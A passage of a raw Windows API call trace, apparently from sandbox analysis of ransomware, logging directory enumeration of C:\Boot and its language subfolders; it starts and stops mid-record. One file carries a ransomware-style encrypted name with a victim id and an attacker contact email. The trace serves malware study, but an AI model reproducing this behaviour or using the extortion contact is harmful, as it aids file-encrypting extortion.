lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a39916f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a39916f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a3bf402, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="BOOTST~1.NEW")) returned 1 [0191.977] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0191.977] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0191.977] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.977] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751210 [0191.978] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.978] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.979] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0191.979] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0191.979] FindClose (in: hFindFile=0x751210 | out: hFindFile=0x751210) returned 1 [0191.979] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.979] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0191.979] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.979] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751190 [0191.979] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.979] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.980] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0191.980] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0191.980] FindClose (in: hFindFile=0x751190 | out: hFindFile=0x751190) returned 1 [0191.980] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.980] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0191.980] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.980] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751050 [0191.980] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.980] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.981] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0191.981] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0191.981] FindClose (in: hFindFile=0x751050 | out: hFindFile=0x751050) returned 1 [0191.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.981] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0191.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.981] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751110 [0191.981] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.981] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.982] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0191.982] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0191.982] FindClose (in: hFindFile=0x751110 | out: hFindFile=0x751110) returned 1 [0191.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.982] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0191.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.982] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751550 [0191.982] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.982] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.983] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0191.983] FindClose (in: hFindFile=0x751550 | out: hFindFile=0x751550) returned 1 [0191.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.983] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0191.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.983] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7513d0 [0191.983] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.983] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.983] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0191.984] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0191.984] FindClose (in: hFindFile=0x7513d0 | out: hFindFile=0x7513d0) returned 1 [0191.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.984] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0191.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.984] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7514d0 [0191.984] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.984] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.984] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0191.985] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0191.985] FindClose (in: hFindFile=0x7514d0 | out: hFindFile=0x7514d0) returned 1 [0191.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.985] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, 